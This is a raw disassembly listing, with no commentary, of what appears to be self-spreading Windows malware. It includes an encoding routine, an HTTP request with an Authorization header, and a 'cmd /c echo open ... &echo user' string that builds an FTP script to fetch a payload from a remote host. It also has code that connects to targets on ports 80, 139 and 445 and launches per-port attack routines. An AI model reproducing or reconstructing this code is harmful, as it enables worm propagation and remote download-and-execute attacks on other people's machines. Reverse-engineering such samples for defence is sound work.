var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_423278
		call	sub_417AC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_423270
		fstp	[esp+10h+var_10]
		call	sub_4179A4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417AC4
		inc	eax
		leave
		retn
sub_403FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403FF0	proc near		; CODE XREF: sub_40418F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_422DE7
		call	sub_417F90
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_404620
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_403FA4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404032
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40459A

loc_404032:				; CODE XREF: sub_403FF0+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404150
		mov	ebx, [ebp+10h]

loc_404041:				; CODE XREF: sub_403FF0+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40404C
		push	3

loc_404049:				; CODE XREF: sub_403FF0+64j
		pop	ebx
		jmp	short loc_40405F
; ---------------------------------------------------------------------------

loc_40404C:				; CODE XREF: sub_403FF0+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404056
		push	2
		jmp	short loc_404049
; ---------------------------------------------------------------------------

loc_404056:				; CODE XREF: sub_403FF0+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40405F
		xor	ebx, ebx
		inc	ebx

loc_40405F:				; CODE XREF: sub_403FF0+5Aj
					; sub_403FF0+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_423280
		fstp	[esp+40h+var_40]
		call	sub_417AEB
		pop	ecx
		pop	ecx
		call	sub_417AC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40409E
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40409E:				; CODE XREF: sub_403FF0+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40410C
		add	[ebp-18h], eax

loc_4040F0:				; CODE XREF: sub_403FF0+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4277C0[eax]
		push	eax
		push	1
		call	sub_40441B
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4040F0

loc_40410C:				; CODE XREF: sub_403FF0+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40412A
		push	dword ptr [ebp+14h]
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404475
		mov	[ebp-18h], edi

loc_40412A:				; CODE XREF: sub_403FF0+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404144
		sub	esi, [ebp-1Ch]

loc_404135:				; CODE XREF: sub_403FF0+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40441B
		dec	esi
		jnz	short loc_404135

loc_404144:				; CODE XREF: sub_403FF0+140j
		cmp	[ebp+10h], edi
		ja	loc_404041
		xor	ebx, ebx
		inc	ebx

loc_404150:				; CODE XREF: sub_403FF0+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404620
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_4044CD
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404620
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_403FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40418F	proc near		; CODE XREF: .data:0040438Ap
		mov	eax, offset loc_422E04
		call	sub_417F90
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43BCE8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_403FF0
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417889
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_4041D9
		xor	bl, bl
		jmp	short loc_40421D
; ---------------------------------------------------------------------------

loc_4041D9:				; CODE XREF: sub_40418F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_423288
		cmp	ecx, ebx
		jnz	short loc_4041E7
		mov	ecx, eax

loc_4041E7:				; CODE XREF: sub_40418F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4041EF
		mov	eax, [ebp+18h]

loc_4041EF:				; CODE XREF: sub_40418F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41752A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43EB74	; send
		cmp	eax, esi
		jz	short loc_404214
		xor	bl, bl
		jmp	short loc_404216
; ---------------------------------------------------------------------------

loc_404214:				; CODE XREF: sub_40418F+7Fj
		mov	bl, 1

loc_404216:				; CODE XREF: sub_40418F+83j
		push	edi
		call	sub_41793B
		pop	ecx

loc_40421D:				; CODE XREF: sub_40418F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404620
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404620
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40418F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_427970
		push	eax
		call	sub_417090
		add	esp, 0Ch
		mov	eax, offset byte_42E9B8
		push	eax
		push	eax
		push	dword_43BD0C
		push	dword ptr [ebp+8]
		call	sub_40AD08
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41752A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_427808
		push	eax
		call	sub_403A59
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_4042E6
		xor	eax, eax
		jmp	loc_40440E
; ---------------------------------------------------------------------------

loc_4042E6:				; CODE XREF: .data:004042DDj
		mov	[ebp-0Ch], esi

loc_4042E9:				; CODE XREF: .data:004043E9j
		test	esi, esi
		jnz	loc_4043EF
		push	6
		push	1
		push	2
		call	dword_423214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4043D7
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43EB24	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043CC
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404394
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404620
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404658
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40418F
		add	esp, 1Ch
		jmp	short loc_4043C9
; ---------------------------------------------------------------------------

loc_404394:				; CODE XREF: .data:00404352j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043AE
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F52
		jmp	short loc_4043C6
; ---------------------------------------------------------------------------

loc_4043AE:				; CODE XREF: .data:0040439Ej
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_4043CC
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403E73

loc_4043C6:				; CODE XREF: .data:004043ACj
		add	esp, 0Ch

loc_4043C9:				; CODE XREF: .data:00404392j
		movzx	esi, al

loc_4043CC:				; CODE XREF: .data:00404345j
					; .data:004043B8j
		push	ebx
		call	dword_43EBBC	; closesocket
		test	esi, esi
		jnz	short loc_4043E2

loc_4043D7:				; CODE XREF: .data:00404302j
		push	3E8h
		call	dword_423064	; Sleep

loc_4043E2:				; CODE XREF: .data:004043D5j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4042E9

loc_4043EF:				; CODE XREF: .data:004042EBj
		lea	ecx, [ebp-8]
		call	sub_403886
		test	esi, esi
		jz	short loc_40440C
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_429D68[eax]
		inc	dword ptr [eax]

loc_40440C:				; CODE XREF: .data:004043F9j
		mov	eax, esi

loc_40440E:				; CODE XREF: .data:004042E1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DC8

loc_404413:				; CODE XREF: sub_422DC8+3j
					; .data:00422DE1j ...
		push	1
		call	sub_404620
		retn
; END OF FUNCTION CHUNK	FOR sub_422DC8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40441B	proc near		; CODE XREF: sub_403FF0+111p
					; sub_403FF0+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_404432
		call	sub_42268A

loc_404432:				; CODE XREF: sub_40441B+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40446D
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40459A
		test	al, al
		jz	short loc_40446D
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417030
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40446D:				; CODE XREF: sub_40441B+1Bj
					; sub_40441B+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40441B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404475	proc near		; CODE XREF: sub_403FF0+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40448C
		call	sub_42268A

loc_40448C:				; CODE XREF: sub_404475+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_4044C5
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40459A
		test	al, al
		jz	short loc_4044C5
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_417090
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_4044C5:				; CODE XREF: sub_404475+1Bj
					; sub_404475+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_404475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044CD	proc near		; CODE XREF: sub_403FF0+179p
					; sub_4225A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_4044E5
		call	sub_422563

loc_4044E5:				; CODE XREF: sub_4044CD+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4044F7
		mov	esi, [ebp+arg_8]

loc_4044F7:				; CODE XREF: sub_4044CD+25j
		cmp	edi, ebx
		jnz	short loc_404515
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40468D
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40468D
		jmp	short loc_404591
; ---------------------------------------------------------------------------

loc_404515:				; CODE XREF: sub_4044CD+2Cj
		test	esi, esi
		jbe	short loc_404558
		cmp	esi, eax
		jnz	short loc_404558
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404529
		mov	eax, offset dword_423288

loc_404529:				; CODE XREF: sub_4044CD+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404558
		push	1
		mov	ecx, edi
		call	sub_404620
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404544
		mov	eax, offset dword_423288

loc_404544:				; CODE XREF: sub_4044CD+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404591
; ---------------------------------------------------------------------------

loc_404558:				; CODE XREF: sub_4044CD+4Aj
					; sub_4044CD+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40459A
		test	al, al
		jz	short loc_404591
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_404575
		mov	eax, offset dword_423288

loc_404575:				; CODE XREF: sub_4044CD+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417090
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404591:				; CODE XREF: sub_4044CD+46j
					; sub_4044CD+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4044CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40459A	proc near		; CODE XREF: sub_403FF0+3Dp
					; sub_40441B+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045AC
		call	sub_42268A

loc_4045AC:				; CODE XREF: sub_40459A+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_4045D4
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_4045D4
		cmp	cl, 0FFh
		jz	short loc_4045D4
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_404613
		dec	byte ptr [eax-1]
		push	edx

loc_4045CB:				; CODE XREF: sub_40459A+48j
		call	sub_404620

loc_4045D0:				; CODE XREF: sub_40459A+4Cj
					; sub_40459A+53j
		xor	al, al
		jmp	short loc_40461B
; ---------------------------------------------------------------------------

loc_4045D4:				; CODE XREF: sub_40459A+19j
					; sub_40459A+20j ...
		cmp	edi, edx
		jnz	short loc_4045EF
		cmp	[esp+8+arg_4], dl
		jz	short loc_4045E4
		push	1
		mov	ecx, esi
		jmp	short loc_4045CB
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_40459A+42j
		cmp	eax, edx
		jz	short loc_4045D0
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_4045D0
; ---------------------------------------------------------------------------

loc_4045EF:				; CODE XREF: sub_40459A+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40460C
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404601
		cmp	eax, edi
		jnb	short loc_404619

loc_404601:				; CODE XREF: sub_40459A+61j
		push	1
		mov	ecx, esi
		call	sub_404620
		jmp	short loc_404611
; ---------------------------------------------------------------------------

loc_40460C:				; CODE XREF: sub_40459A+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_404619

loc_404611:				; CODE XREF: sub_40459A+70j
		mov	ecx, esi

loc_404613:				; CODE XREF: sub_40459A+2Bj
		push	edi
		call	sub_4046F4

loc_404619:				; CODE XREF: sub_40459A+65j
					; sub_40459A+75j
		mov	al, 1

loc_40461B:				; CODE XREF: sub_40459A+38j
		pop	edi
		pop	esi
		retn	8
sub_40459A	endp


; =============== S U B	R O U T	I N E =======================================



sub_404620	proc near		; CODE XREF: sub_403FF0+1Fp
					; sub_403FF0+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404648
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404648
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_404641
		cmp	cl, 0FFh
		jz	short loc_404641
		dec	byte ptr [eax]
		jmp	short loc_404648
; ---------------------------------------------------------------------------

loc_404641:				; CODE XREF: sub_404620+16j
					; sub_404620+1Bj
		push	eax
		call	sub_417FAF
		pop	ecx

loc_404648:				; CODE XREF: sub_404620+8j
					; sub_404620+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404620	endp


; =============== S U B	R O U T	I N E =======================================



sub_404658	proc near		; CODE XREF: .data:0040437Ep
					; sub_4047B1+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40459A
		test	al, al
		jz	short loc_404686
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417090
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_404686:				; CODE XREF: sub_404658+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404658	endp


; =============== S U B	R O U T	I N E =======================================



sub_40468D	proc near		; CODE XREF: sub_4044CD+35p
					; sub_4044CD+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046A0
		call	sub_422563

loc_4046A0:				; CODE XREF: sub_40468D+Cj
		mov	ecx, edi
		call	sub_4047B1
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4046B6
		mov	ebx, eax

loc_4046B6:				; CODE XREF: sub_40468D+25j
		test	ebx, ebx
		jbe	short loc_4046EC
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_417FC0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40459A
		test	al, al
		jz	short loc_4046EC
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_4046EC:				; CODE XREF: sub_40468D+2Bj
					; sub_40468D+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40468D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046F4	proc near		; CODE XREF: sub_40459A+7Ap
		mov	eax, offset loc_422E10
		call	sub_417F90
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40471A
		mov	edi, [ebp+8]

loc_40471A:				; CODE XREF: sub_4046F4+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404727
		xor	eax, eax

loc_404727:				; CODE XREF: sub_4046F4+2Fj
		push	eax
		call	sub_4182F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404758
; ---------------------------------------------------------------------------

loc_404733:				; DATA XREF: .data:00423F50o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404742
		xor	eax, eax

loc_404742:				; CODE XREF: sub_4046F4+4Aj
		push	eax
		call	sub_4182F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404752
		retn
; ---------------------------------------------------------------------------

loc_404752:				; DATA XREF: sub_4046F4+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_404758:				; CODE XREF: sub_4046F4+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404776
		cmp	eax, edi
		jbe	short loc_404765
		mov	eax, edi

loc_404765:				; CODE XREF: sub_4046F4+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417090
		add	esp, 0Ch

loc_404776:				; CODE XREF: sub_4046F4+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404620
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404796
		mov	edi, ebx

loc_404796:				; CODE XREF: sub_4046F4+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4046F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047B1	proc near		; CODE XREF: sub_40468D+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_4047DE
		mov	al, [esi-1]
		test	al, al
		jz	short loc_4047DE
		cmp	al, 0FFh
		jz	short loc_4047DE
		push	1
		call	sub_404620
		push	esi
		call	sub_4177B0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404658

loc_4047DE:				; CODE XREF: sub_4047B1+9j
					; sub_4047B1+10j ...
		pop	edi
		pop	esi
		retn
sub_4047B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047E1	proc near		; DATA XREF: .data:00425008o
		test	byte_4897A4, 1
		jnz	short loc_4047F1
		or	byte_4897A4, 1

loc_4047F1:				; CODE XREF: sub_4047E1+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418370
		pop	ecx
		retn
sub_4047E1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404803	proc near		; DATA XREF: .data:0042500Co
		jmp	$+5
sub_404803	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404808	proc near
		mov	eax, dword_427C40
		add	eax, 6
		mov	dword_43BCFC, eax
		retn
sub_404808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404816	proc near		; CODE XREF: sub_404816+D0p
					; sub_404904+462p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40482A
		or	[ebp+arg_7], 1
		jmp	short loc_40482E
; ---------------------------------------------------------------------------

loc_40482A:				; CODE XREF: sub_404816+Cj
		and	[ebp+arg_7], 0FEh

loc_40482E:				; CODE XREF: sub_404816+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_404852
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_404864
; ---------------------------------------------------------------------------

loc_404852:				; CODE XREF: sub_404816+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_404864:				; CODE XREF: sub_404816+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417889
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_4048FD
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417090
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jz	short loc_4048F4
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_4048F4
		push	[ebp+arg_20]
		call	sub_41793B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_4048F0
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404816
		add	esp, 2Ch
		jmp	short loc_4048FF
; ---------------------------------------------------------------------------

loc_4048F0:				; CODE XREF: sub_404816+B3j
		mov	al, 1
		jmp	short loc_4048FF
; ---------------------------------------------------------------------------

loc_4048F4:				; CODE XREF: sub_404816+9Cj
					; sub_404816+A4j
		push	[ebp+arg_20]
		call	sub_41793B
		pop	ecx

loc_4048FD:				; CODE XREF: sub_404816+61j
		xor	al, al

loc_4048FF:				; CODE XREF: sub_404816+D8j
					; sub_404816+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404904	proc near		; CODE XREF: .data:00404EF3p

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
